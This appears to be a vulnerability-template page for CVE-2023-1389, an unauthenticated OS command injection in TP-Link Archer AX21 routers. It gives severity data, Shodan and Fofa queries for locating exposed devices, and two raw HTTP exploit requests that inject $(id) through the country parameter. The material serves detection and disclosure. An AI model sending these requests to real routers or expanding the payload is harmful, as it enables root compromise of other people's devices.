| Title | TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit OS command injection through the country parameter in the locale endpoint to execute arbitrary commands as root and completely compromise TP-Link Archer AX21 routers. |
| Remediation | Update to the latest firmware version provided by TP-Link. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93807 |
| CVE ID | CVE-2023-1389 |
| CWE ID | CWE-78 |
| Shodan Query | title:"TP-Link Router" |
| Fofa Query | body="tp-link" |
| Tags | cve cve2023 tp-link archer ax21 rce router kev vkev vuln |
TP-Link Archer AX21 (AX1800) routers are vulnerable to unauthenticated OS command injection via the country parameter in the locale endpoint. This allows remote attackers to execute arbitrary commands as root.
POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
operation=write&country=$(id)
POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
operation=write&country=$(id)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1389.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1389.pcap
N/AN/A